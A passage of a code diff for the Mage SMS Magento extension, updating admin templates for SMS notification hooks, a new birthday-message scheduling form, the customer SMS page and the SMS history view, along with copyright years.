$hook->getName(); ?>" action="<?php echo Mage::getUrl('*/*/savehook') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input type="hidden" name="type" value="admins" /><input type="hidden" name="name" value="<?php echo $hook->getName(); ?>" /><?php if ($hook->getPlugin()): ?><input type="hidden" name="plugin" value="<?php echo $hook->getPlugin(); ?>" /><?php endif; ?><div style="display:inline-block;width:350px;"><label style="font-weight:normal;text-align:left;width:350px;"><?php echo Mage::helper('magesms')->__('SMS text'); ?></label><br><textarea id="text_<?php echo $hook->getName(); ?>" name="text" class="required-entry input-text" style="width:290px;height:100px;border:1px solid grey;"><?php echo ($text = $hook->getSmstext()) ? $text : $hook->getTemplate(); ?></textarea></div><div style="display:inline-block;width:320px;"><label style="font-weight:normal;text-align:left"><?php echo Mage::helper('magesms')->__('Preview'); ?> (<span id="label_<?php echo $hook->getName(); ?>"></span>)</label><br><textarea id="textfake_<?php echo $hook->getName(); ?>" name="textfake" disabled="disabled" style="width:290px;height:100px;border:1px solid grey;"></textarea></div><div style="display:inline-block;width:310px; padding-top: 20px;"><?php $admins = Mage::getSingleton('magesms/admins')->getCollection(); $stores = Mage::getModel('core/store_group')->getCollection()->setLoadDefault(false) ?><table class="data"><tr class="headings"><th colspan="<?php echo $stores->count()+1; ?>"><?php echo Mage::helper('magesms')->__('Administrators'); ?></th></tr><?php foreach($admins as $admin): ?><tr><td><?php echo $admin->getName(); ?></td><?php foreach($stores as $store): ?><td><input type="checkbox" name="active_<?php echo $hook->getName().'_'.$admin->getId().'_'.$store->getId(); ?>" id="active_<?php echo $hook->getName().'_'.$admin->getId().'_'.$store->getId(); ?>" value="1" <?php echo !empty($hook[$admin->getId().'_'.$store->getId()]) ? 'checked' : ''; ?> /><label for="active_<?php echo $hook->getName().'_'.$admin->getId().'_'.$store->getId(); ?>"><?php echo $store->getName(); ?></label></td><?php endforeach; ?></tr><?php endforeach; ?></table><br /><br /><br /><div style="float:left;"><input type="submit" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" class="form-button" /></div><div style="float:left;padding-left:20px;"><input value="<?php echo Mage::helper('magesms')->__('Cancel'); ?>" title="Restore unsaved changes to its original state." class="form-button" type="button" onclick="this.form.reset();countitSMS_<?php echo $hook->getName(); ?>.count();" /></div></div></form><script type="text/javascript">//<![CDATA[
app/design/adminhtml/default/default/template/topefekt/magesms/birthdaymessages/form.phtml ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ ?><div class="margin-form"><label for="name"><?php echo Mage::helper('magesms')->__('Send birthday message'); ?>: </label><select name="delay"><?php foreach ($this->getDelay() as $delay): ?><option value="<?php echo $delay['value']; ?>" <?php echo $delay['selected'] ? 'selected' : ''; ?>><?php echo $delay['title']; ?></option><?php endforeach; ?></select><select name="run_time_hour"><?php for($hour=1;$hour<=24;$hour++): ?><option value="<?php echo $hour; ?>" <?php echo $this->getRunTimeHour() == $hour ? 'selected' : ''; ?>><?php printf('%02d', $hour); ?></option><?php endfor; ?></select>:<select name="run_time_min"><?php for($min=0;$min<=59;$min++): ?><option value="<?php echo $min; ?>" <?php echo $this->getRunTimeMinute() == $min ? 'selected' : ''; ?>><?php printf('%02d', $min); ?></option><?php endfor; ?></select></div>
app/design/adminhtml/default/default/template/topefekt/magesms/customersms.phtml CHANGED
@@ -10,10 +10,10 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><h2><?php echo Mage::helper('magesms')->__('Customer SMS').' - '; ?><?php echo $this->getMutationLabel();?></h2><p><?php echo Mage::helper('magesms')->__('Select events during which shall be customer notified via SMS and customize text of messages. You can also add a new language version of SMS messages for each country separately. In countries with undefined language version will be used default language version.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/translation.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__(' language version'); ?></h4></div><div class="fieldset grid"><ul class="mutations"><?php foreach ($this->getMutations() as $mutation): ?><li <?php if ($mutation['selected']): ?>class="active"<?php endif; ?>><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/', array('mutation' => $mutation['value'])); ?>" title="<?php echo implode("\n", $mutation['stores']); ?>"><?php echo $mutation['label']?></a></li><?php endforeach; ?></ul><div class="clear"></div></div></div><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Unicode SMS'); ?></h4></div><div class="fieldset grid"><form id="magesms_changeunicode" action="<?php echo Mage::getUrl('*/*/saveunicode') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div class="margin-form"><p><?php echo Mage::helper('magesms')->__('Check only if you want to use Chinese, Arabic, Greek, Hebrew, Korean, Cyrillic, etc. or diacritic in the text of your SMS message (Unicode text allows you to insert characters in all fonts and various other symbols simultaneously. Number of characters in one SMS will be reduced to 70).'); ?></p><input type="checkbox" id="unicode" name="unicode" value="1" <?php echo ($unicode = Mage::getSingleton('magesms/hooks_unicode')->getCollection()->addFilter('area', $this->getMutationValue())->addFilter('type', 'customer')->getFirstItem()->getUnicode()) ? 'checked' : ''; ?> /><input type="hidden" name="mutation" value="<?php echo $this->getMutationValue(); ?>" /><label for="unicode"><?php echo Mage::helper('magesms')->__('Unicode SMS'); ?></label><input type="submit" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" class="form-button" /></div></form></div></div><?php foreach ($this->getGroups() as $group): ?><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><?php if ($group->icon): ?><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).$group->icon; ?>" alt="" /> <?php endif; ?><?php echo Mage::helper('magesms')->__($group->name); ?></h4></div><div class="fieldset grid"><?php if (count($group->getHooks())): ?><table class="data"><col /><col width="100px" /><?php $even = 1; foreach($group->getHooks() as $hook): if ($even) $even = 0; else $even = 1; ?><tr id="hist_<?php echo $hook->getName(); ?>" class="hover <?php if ($even) echo 'even'?>"><td><span class="img"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_plus.gif'; ?>"></span><span class="img" style="display:none"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_minus.gif'; ?>"></span><?php if (!$group->getGroup()): ?><?php echo $hook->getInfo(); ?> - <?php echo $statusT = Mage::helper('sales')->__($hook->getStatusName()); ?><?php if ($statusT != $hook->getStatusName()): ?> (<?php echo $hook->getStatusName(); ?>)<?php endif; ?><?php else: ?><?php echo $hook->getName(); ?> - <?php echo $hook->getInfo(); ?><?php endif; ?></td><td class="a-center"><?php $title = $hook->getActive() ? Mage::helper('magesms')->__('Sending notifications via SMS is ACTIVE') : Mage::helper('magesms')->__('Sending notifications via SMS is NOT ACTIVE. To activate SMS sending check „Active“ in desired status detail.'); $img = $hook->getActive() ? 'i_accepted.gif' : 'i_canceled.gif'; ?><span style="cursor:help;" title="<?php echo $title; ?>" onclick="popup_title(this)"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/'.$img; ?>"></span></td></tr><tr id="histd_<?php echo $hook->getName(); ?>" style="display:none"><td colspan="2"><form id="hook_<?php echo $hook->getName(); ?>" action="<?php echo Mage::getUrl('*/*/savehook') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input type="hidden" name="type" value="customers" /><input type="hidden" name="name" value="<?php echo $hook->getName(); ?>" /><input type="hidden" name="mutation" value="<?php echo $this->getMutationValue(); ?>" /><?php if ($hook->getPlugin()): ?><input type="hidden" name="plugin" value="<?php echo $hook->getPlugin(); ?>" /><?php endif; ?><div style="display:inline-block;width:350px;"><label style="font-weight:normal;text-align:left;width:350px;"><?php echo Mage::helper('magesms')->__('SMS text'); ?></label><br><textarea id="text_<?php echo $hook->getName(); ?>" name="text" class="required-entry input-text" style="width:290px;height:100px;border:1px solid grey;"><?php echo ($text = $hook->getSmstext()) ? $text : $hook->getTemplate2(); ?></textarea></div><div style="display:inline-block;width:320px;"><label style="font-weight:normal;text-align:left"><?php echo Mage::helper('magesms')->__('Preview'); ?> (<span id="label_<?php echo $hook->getName(); ?>"></span>)</label><br><textarea id="textfake_<?php echo $hook->getName(); ?>" name="textfake" disabled="disabled" style="width:290px;height:100px;border:1px solid grey;"></textarea></div><div style="display:inline-block;width:310px;"><?php echo Mage::helper('magesms')->__('Active'); ?><br /><br /><input type="checkbox" name="active" id="active_<?php echo $hook->getName(); ?>" value="1" <?php echo $hook->getActive() ? 'checked' : ''; ?> /><label for="active_<?php echo $hook->getName(); ?>"><?php echo Mage::helper('magesms')->__('Active'); ?></label><br /><br /><br /><div style="float:left;"><input type="submit" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" class="form-button" /></div><div style="float:left;padding-left:20px;"><input value="<?php echo Mage::helper('magesms')->__('Cancel'); ?>" title="Restore unsaved changes to its original state." class="form-button" type="button" onclick="this.form.reset();countitSMS_<?php echo $hook->getName(); ?>.count();" /></div></div><?php if ($hook->getCustomForm()): ?><?php echo $hook->getCustomForm();?><?php endif; ?></form><script type="text/javascript">//<![CDATA[
17
  countitSMS_<?php echo $hook->getName(); ?> = new countitSMS(document.getElementById('textfake_<?php echo $hook->getName(); ?>'), '<?php echo $unicode; ?>', document.getElementById('label_<?php echo $hook->getName(); ?>'));countitSMS_<?php echo $hook->getName(); ?>.chartext1 = '<?php echo Mage::helper('magesms')->__('Characters: '); ?>';countitSMS_<?php echo $hook->getName(); ?>.chartext2 = '<?php echo Mage::helper('magesms')->__('total sms:'); ?>';countitSMS_<?php echo $hook->getName(); ?>.alert = '';countitSMS_<?php echo $hook->getName(); ?>.translate = {<?php echo Mage::helper('magesms')->hookVariablesJS($hook->getNotice()); ?>};countitSMS_<?php echo $hook->getName(); ?>.copyFrom = document.getElementById('text_<?php echo $hook->getName(); ?>');$('text_<?php echo $hook->getName(); ?>').onkeyup = function() {countitSMS_<?php echo $hook->getName(); ?>.count();};Event.observe(window, "load", function() {countitSMS_<?php echo $hook->getName(); ?>.count();countitSMS_<?php echo $hook->getName(); ?>.help(document.getElementById('notice_<?php echo $hook->getName(); ?>'));});
18
  //]]></script><div class="clear"></div><?php if ($hook->getNotice()): ?><span style="font-size:10px;"><?php echo Mage::helper('magesms')->__('Possible variables:'); ?><br /><div id="notice_<?php echo $hook->getName(); ?>"><?php echo $hook->getNotice(); ?></div></span><?php endif?></td></tr><?php endforeach; ?></table><?php endif; ?></div></div><?php endforeach; ?><script type="text/javascript">//<![CDATA[
19
  Event.observe(window, "load", function(){var gridData = document.getElementById('magesms');var tr_array = gridData.getElementsByTagName('tr');for (var i=0, len=tr_array.length; i < len; i++) {if (tr_array[i].className.indexOf('hover') !== -1) {tr_array[i].onmouseover = function() {this.className = this.className + ' on-mouse';};tr_array[i].onmouseout = function() {this.className = this.className.replace(' on-mouse', '');};tr_array[i].onclick = function() {var arr = this.id.split('_');var next = document.getElementById('histd_'+arr[1]);if (next.style.display == 'none') {next.style.display = 'table-row';} else {next.style.display = 'none';}var img = this.getElementsByClassName('img');if (img[0].style.display == 'none') {img[0].style.display = 'inline';} else {img[0].style.display = 'none';}if (img[1].style.display == 'none') {img[1].style.display = 'inline';} else {img[1].style.display = 'none';}};}}if (window.location.hash.substr(1)) {$('hist_' + window.location.hash.substr(1)).click();$('hist_' + window.location.hash.substr(1)).scrollIntoView(true);var messageTo = $('hist_' + window.location.hash.substr(1)).parentNode.parentNode.parentNode;var messages = $('messages').cloneNode(true);messageTo.insertBefore(messages, messageTo.childNodes[0]);}});
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><h2><?php echo Mage::helper('magesms')->__('Customer SMS').' - '; ?><?php echo $this->getMutationLabel();?></h2><p><?php echo Mage::helper('magesms')->__('Select events during which shall be customer notified via SMS and customize text of messages. You can also add a new language version of SMS messages for each country separately. In countries with undefined language version will be used default language version.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/translation.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__(' language version'); ?></h4></div><div class="fieldset grid"><ul class="mutations"><?php foreach ($this->getMutations() as $mutation): ?><li <?php if ($mutation['selected']): ?>class="active"<?php endif; ?>><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/', array('mutation' => $mutation['value'])); ?>" title="<?php echo implode("\n", $mutation['stores']); ?>"><?php echo $mutation['label']?></a></li><?php endforeach; ?></ul><div class="clear"></div></div></div><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Unicode SMS'); ?></h4></div><div class="fieldset grid"><form id="magesms_changeunicode" action="<?php echo Mage::getUrl('*/*/saveunicode') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div class="margin-form"><p><?php echo Mage::helper('magesms')->__('Check only if you want to use Chinese, Arabic, Greek, Hebrew, Korean, Cyrillic, etc. or diacritic in the text of your SMS message (Unicode text allows you to insert characters in all fonts and various other symbols simultaneously. Number of characters in one SMS will be reduced to 70).'); ?></p><input type="checkbox" id="unicode" name="unicode" value="1" <?php echo ($unicode = Mage::getSingleton('magesms/hooks_unicode')->getCollection()->addFilter('area', $this->getMutationValue())->addFilter('type', 'customer')->getFirstItem()->getUnicode()) ? 'checked' : ''; ?> /><input type="hidden" name="mutation" value="<?php echo $this->getMutationValue(); ?>" /><label for="unicode"><?php echo Mage::helper('magesms')->__('Unicode SMS'); ?></label><input type="submit" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" class="form-button" /></div></form></div></div><?php foreach ($this->getGroups() as $group): ?><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><?php if ($group->icon): ?><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).$group->icon; ?>" alt="" /> <?php endif; ?><?php echo Mage::helper('magesms')->__($group->name); ?></h4></div><div class="fieldset grid"><?php if (count($group->getHooks())): ?><table class="data"><col /><col width="100px" /><?php $even = 1; foreach($group->getHooks() as $hook): if ($even) $even = 0; else $even = 1; ?><tr id="hist_<?php echo $hook->getName(); ?>" class="hover <?php if ($even) echo 'even'?>"><td><span class="img"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_plus.gif'; ?>"></span><span class="img" style="display:none"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_minus.gif'; ?>"></span><?php if (!$group->getGroup()): ?><?php echo $hook->getInfo(); ?> - <?php echo $statusT = Mage::helper('sales')->__($hook->getStatusName()); ?><?php if ($statusT != $hook->getStatusName()): ?> (<?php echo $hook->getStatusName(); ?>)<?php endif; ?><?php else: ?><?php echo $hook->getName(); ?> - <?php echo $hook->getInfo(); ?><?php endif; ?></td><td class="a-center"><?php $title = $hook->getActive() ? Mage::helper('magesms')->__('Sending notifications via SMS is ACTIVE') : Mage::helper('magesms')->__('Sending notifications via SMS is NOT ACTIVE. To activate SMS sending check „Active“ in desired status detail.'); $img = $hook->getActive() ? 'i_accepted.gif' : 'i_canceled.gif'; ?><span style="cursor:help;" title="<?php echo $title; ?>" onclick="popup_title(this)"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/'.$img; ?>"></span></td></tr><tr id="histd_<?php echo $hook->getName(); ?>" style="display:none"><td colspan="2"><form id="hook_<?php echo $hook->getName(); ?>" action="<?php echo Mage::getUrl('*/*/savehook') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input type="hidden" name="type" value="customers" /><input type="hidden" name="name" value="<?php echo $hook->getName(); ?>" /><input type="hidden" name="mutation" value="<?php echo $this->getMutationValue(); ?>" /><?php if ($hook->getPlugin()): ?><input type="hidden" name="plugin" value="<?php echo $hook->getPlugin(); ?>" /><?php endif; ?><div style="display:inline-block;width:350px;"><label style="font-weight:normal;text-align:left;width:350px;"><?php echo Mage::helper('magesms')->__('SMS text'); ?></label><br><textarea id="text_<?php echo $hook->getName(); ?>" name="text" class="required-entry input-text" style="width:290px;height:100px;border:1px solid grey;"><?php echo ($text = $hook->getSmstext()) ? $text : $hook->getTemplate2(); ?></textarea></div><div style="display:inline-block;width:320px;"><label style="font-weight:normal;text-align:left"><?php echo Mage::helper('magesms')->__('Preview'); ?> (<span id="label_<?php echo $hook->getName(); ?>"></span>)</label><br><textarea id="textfake_<?php echo $hook->getName(); ?>" name="textfake" disabled="disabled" style="width:290px;height:100px;border:1px solid grey;"></textarea></div><div style="display:inline-block;width:310px;"><?php if (!$hook->getHideActive()): ?><?php echo Mage::helper('magesms')->__('Active'); ?><br /><br /><input type="checkbox" name="active" id="active_<?php echo $hook->getName(); ?>" value="1" <?php echo $hook->getActive() ? 'checked' : ''; ?> /><label for="active_<?php echo $hook->getName(); ?>"><?php echo Mage::helper('magesms')->__('Active'); ?></label><?php endif;?><?php if ($hook->getCustomForm2()): ?><?php echo $hook->getCustomForm2();?><?php endif; ?><br /><br /><br /><div style="float:left;"><input type="submit" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" class="form-button" /></div><div style="float:left;padding-left:20px;"><input value="<?php echo Mage::helper('magesms')->__('Cancel'); ?>" title="Restore unsaved changes to its original state." class="form-button" type="button" onclick="this.form.reset();countitSMS_<?php echo $hook->getName(); ?>.count();" /></div></div><?php if ($hook->getCustomForm()): ?><?php echo $hook->getCustomForm();?><?php endif; ?></form><script type="text/javascript">//<![CDATA[
17
  countitSMS_<?php echo $hook->getName(); ?> = new countitSMS(document.getElementById('textfake_<?php echo $hook->getName(); ?>'), '<?php echo $unicode; ?>', document.getElementById('label_<?php echo $hook->getName(); ?>'));countitSMS_<?php echo $hook->getName(); ?>.chartext1 = '<?php echo Mage::helper('magesms')->__('Characters: '); ?>';countitSMS_<?php echo $hook->getName(); ?>.chartext2 = '<?php echo Mage::helper('magesms')->__('total sms:'); ?>';countitSMS_<?php echo $hook->getName(); ?>.alert = '';countitSMS_<?php echo $hook->getName(); ?>.translate = {<?php echo Mage::helper('magesms')->hookVariablesJS($hook->getNotice()); ?>};countitSMS_<?php echo $hook->getName(); ?>.copyFrom = document.getElementById('text_<?php echo $hook->getName(); ?>');$('text_<?php echo $hook->getName(); ?>').onkeyup = function() {countitSMS_<?php echo $hook->getName(); ?>.count();};Event.observe(window, "load", function() {countitSMS_<?php echo $hook->getName(); ?>.count();countitSMS_<?php echo $hook->getName(); ?>.help(document.getElementById('notice_<?php echo $hook->getName(); ?>'));});
18
  //]]></script><div class="clear"></div><?php if ($hook->getNotice()): ?><span style="font-size:10px;"><?php echo Mage::helper('magesms')->__('Possible variables:'); ?><br /><div id="notice_<?php echo $hook->getName(); ?>"><?php echo $hook->getNotice(); ?></div></span><?php endif?></td></tr><?php endforeach; ?></table><?php endif; ?></div></div><?php endforeach; ?><script type="text/javascript">//<![CDATA[
19
  Event.observe(window, "load", function(){var gridData = document.getElementById('magesms');var tr_array = gridData.getElementsByTagName('tr');for (var i=0, len=tr_array.length; i < len; i++) {if (tr_array[i].className.indexOf('hover') !== -1) {tr_array[i].onmouseover = function() {this.className = this.className + ' on-mouse';};tr_array[i].onmouseout = function() {this.className = this.className.replace(' on-mouse', '');};tr_array[i].onclick = function() {var arr = this.id.split('_');var next = document.getElementById('histd_'+arr[1]);if (next.style.display == 'none') {next.style.display = 'table-row';} else {next.style.display = 'none';}var img = this.getElementsByClassName('img');if (img[0].style.display == 'none') {img[0].style.display = 'inline';} else {img[0].style.display = 'none';}if (img[1].style.display == 'none') {img[1].style.display = 'inline';} else {img[1].style.display = 'none';}};}}if (window.location.hash.substr(1)) {$('hist_' + window.location.hash.substr(1)).click();$('hist_' + window.location.hash.substr(1)).scrollIntoView(true);var messageTo = $('hist_' + window.location.hash.substr(1)).parentNode.parentNode.parentNode;var messages = $('messages').cloneNode(true);messageTo.insertBefore(messages, messageTo.childNodes[0]);}});
app/design/adminhtml/default/default/template/topefekt/magesms/history.phtml CHANGED
@@ -10,9 +10,9 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><?php $type = array( 1 => Mage::helper('magesms')->__(' admin sms'), 2 => Mage::helper('magesms')->__(' customer sms'), 3 => Mage::helper('magesms')->__(' marketing sms'), 4 => Mage::helper('magesms')->__(' simple sms') ); ?><div style="float: right;"><form action="<?php echo $this->getUrl('*/*/delete') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input type="submit" value="<?php echo Mage::helper('magesms')->__('Delete history'); ?>" onclick="return confirm('<?php echo Mage::helper('magesms')->__('Are you sure to delete SMS history?'); ?>');" class="form-button" /></form></div><h2><?php echo Mage::helper('magesms')->__('SMS History'); ?></h2><p><?php echo Mage::helper('magesms')->__('History of sent SMS from SMS module.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('SMS History'); ?></h4></div><div class="fieldset grid"><form id="magesms_filter" action="<?php echo Mage::getUrl('*/*/filter') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><?php $history = Mage::getSingleton('magesms/smshistory')->getCollection() ->setOrder('date', 'ASC'); $history->getSelect()->limit(1); if ($history->count()) $rokmin = substr($history->getFirstItem()->getDate(), 0, 4); else $rokmin = date('Y'); $roky = array(); for(; $rokmin <= date('Y'); $rokmin++) $roky[] = $rokmin; ?><div class="margin-form" style="text-align: center"><select name="rok" id="rok"><option value=""><?php echo Mage::helper('magesms')->__('year'); ?></option><?php foreach( $roky as $rok ): ?><option value="<?php echo $rok; ?>" <?php echo $rok == $this->getRequest()->getParam('rok', date('Y')) ? 'selected' : ''; ?>><?php echo $rok; ?></option><?php endforeach; ?></select><select name="mesic" id="mesic"><option value=""><?php echo Mage::helper('magesms')->__('month'); ?></option><?php for( $mesic=1; $mesic<=12; $mesic++ ): ?><option value="<?php echo $mesic; ?>" <?php echo $mesic == $this->getRequest()->getParam('mesic', date('m')) ? 'selected' : ''; ?>><?php echo $mesic; ?></option><?php endfor; ?></select><select name="den" id="den"><option value=""><?php echo Mage::helper('magesms')->__('day'); ?></option><?php for( $den=1; $den<=31; $den++ ): ?><option value="<?php echo $den; ?>" <?php echo $den == $this->getRequest()->getParam('den') ? 'selected' : ''; ?>><?php echo sprintf('%02d', $den); ?></option><?php endfor; ?></select><select name="status" id="status"><option value=""><?php echo Mage::helper('magesms')->__('Status'); ?></option><?php foreach( Mage::getSingleton('magesms/sms')->status() as $id=>$stat ): ?><option value="<?php echo $id; ?>" <?php echo $id == $this->getRequest()->getParam('status') ? 'selected' : ''; ?>><?php echo $stat->name; ?></option><?php endforeach; ?></select><input type="hidden" name="eshopsms1" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="eshopsms1" id="eshopsms1" value="1" <?php echo $this->getRequest()->getParam('eshopsms1') == null || $this->getRequest()->getParam('eshopsms1') == 1 ? 'checked' : ''; ?> /><label for="eshopsms1"><?php echo Mage::helper('magesms')->__(' admin sms'); ?></label><input type="hidden" name="eshopsms" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="eshopsms" id="eshopsms" value="1" <?php echo $this->getRequest()->getParam('eshopsms') == null || $this->getRequest()->getParam('eshopsms') == 1 ? 'checked' : ''; ?> /><label for="eshopsms"><?php echo Mage::helper('magesms')->__(' customer sms'); ?></label><input type="hidden" name="bulksms" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="bulksms" id="bulksms" value="1" <?php echo $this->getRequest()->getParam('bulksms') == null || $this->getRequest()->getParam('bulksms') == 1 ? 'checked' : ''; ?> /><label for="bulksms"><?php echo Mage::helper('magesms')->__(' marketing sms'); ?></label><input type="hidden" name="bulksms2" value="0" />&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" name="bulksms2" id="bulksms2" value="1" <?php echo $this->getRequest()->getParam('bulksms2') == null || $this->getRequest()->getParam('bulksms2') == 1 ? 'checked' : ''; ?> /><label for="bulksms2"><?php echo Mage::helper('magesms')->__(' simple sms'); ?></label>&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" value="<?php echo Mage::helper('magesms')->__('Show'); ?>" class="form-button" /></div></form></div></div><?php $pageSize = 50; $page = $this->getRequest()->getParam('page', 1); $format = Mage::app()->getLocale()->getDateTimeFormat(Mage_Core_Model_Locale::FORMAT_TYPE_MEDIUM); $history = Mage::getSingleton('magesms/smshistory')->getCollection()->setOrder('date', 'DESC'); $rok = $this->getRequest()->getParam('rok', date('Y')); $mesic = $this->getRequest()->getParam('mesic', date('m')); $den = $this->getRequest()->getParam('den'); if ($den) { $history->getSelect()->where("`date` LIKE ?", sprintf("%04d-%02d-%02d%%", $rok, $mesic, $den)); } else { $history->getSelect()->where("`date` LIKE ?", sprintf("%04d-%02d-%%", $rok, $mesic)); } if (($_status = $this->getRequest()->getParam('status'))) { $history->addFilter('status', $_status); } $notin = array(); if ($this->getRequest()->getParam('eshopsms', 1) != 1) $notin[] = 2; if ($this->getRequest()->getParam('eshopsms1', 1) != 1) $notin[] = 1; if ($this->getRequest()->getParam('bulksms', 1) != 1) $notin[] = 3; if ($this->getRequest()->getParam('bulksms2', 1) != 1) $notin[] = 4; if (count($notin)) { $history->getSelect()->where("`type` NOT IN (?)", $notin); } $history->setPageSize($pageSize); $history->setCurPage($page); if ($history->getSize()): $from = ($page-1) * $pageSize + 1; $to = ($page-1) * $pageSize + $pageSize; if ($to > $history->getSize()) $to = $history->getSize(); $this->getRequest()->setParam('page', null); ?><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminCatalog.gif'; ?>" alt="" /><?php echo Mage::helper('magesms')->__('Search results ').' '.$from.' - '.$to.Mage::helper('magesms')->__(' of ').$history->getSize().' '.Mage::helper('magesms')->__('SMS'); ?></h4></div><div class="fieldset grid"><table class="actions"><tr><td class="pager"><?php echo $this->__('Page') ?><?php $_curPage = $history->getCurPage() ?><?php $_lastPage = $history->getLastPageNumber() ?><?php if($_curPage>1): ?><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/', $this->getRequest()->getParams()+array('page' => $_curPage-1)); ?>" title="<?php echo $this->__('Previous') ?>"><img src="<?php echo $this->getSkinUrl('images/pager_arrow_left.gif') ?>" alt="Go to Previous page" class="arrow"/></a><?php else: ?><img src="<?php echo $this->getSkinUrl('images/pager_arrow_left_off.gif') ?>" alt="Go to Previous page" class="arrow"/><?php endif; ?><input type="text" name="curPage" readonly value="<?php echo $_curPage ?>" class="input-text page" /><?php if($_curPage < $_lastPage): ?><a href="<?php echo Mage::helper("adminhtml")->getUrl('*/*/', $this->getRequest()->getParams()+array('page' => $_curPage+1)); ?>" title="<?php echo $this->__('Next') ?>"><img src="<?php echo $this->getSkinUrl('images/pager_arrow_right.gif') ?>" alt="Go to Next page" class="arrow"/></a><?php else: ?><img src="<?php echo $this->getSkinUrl('images/pager_arrow_right_off.gif') ?>" alt="Go to Previous page" class="arrow"/><?php endif; ?></td></tr></table><table class="data"><tr class="headings"><th><?php echo Mage::helper('magesms')->__('Number'); 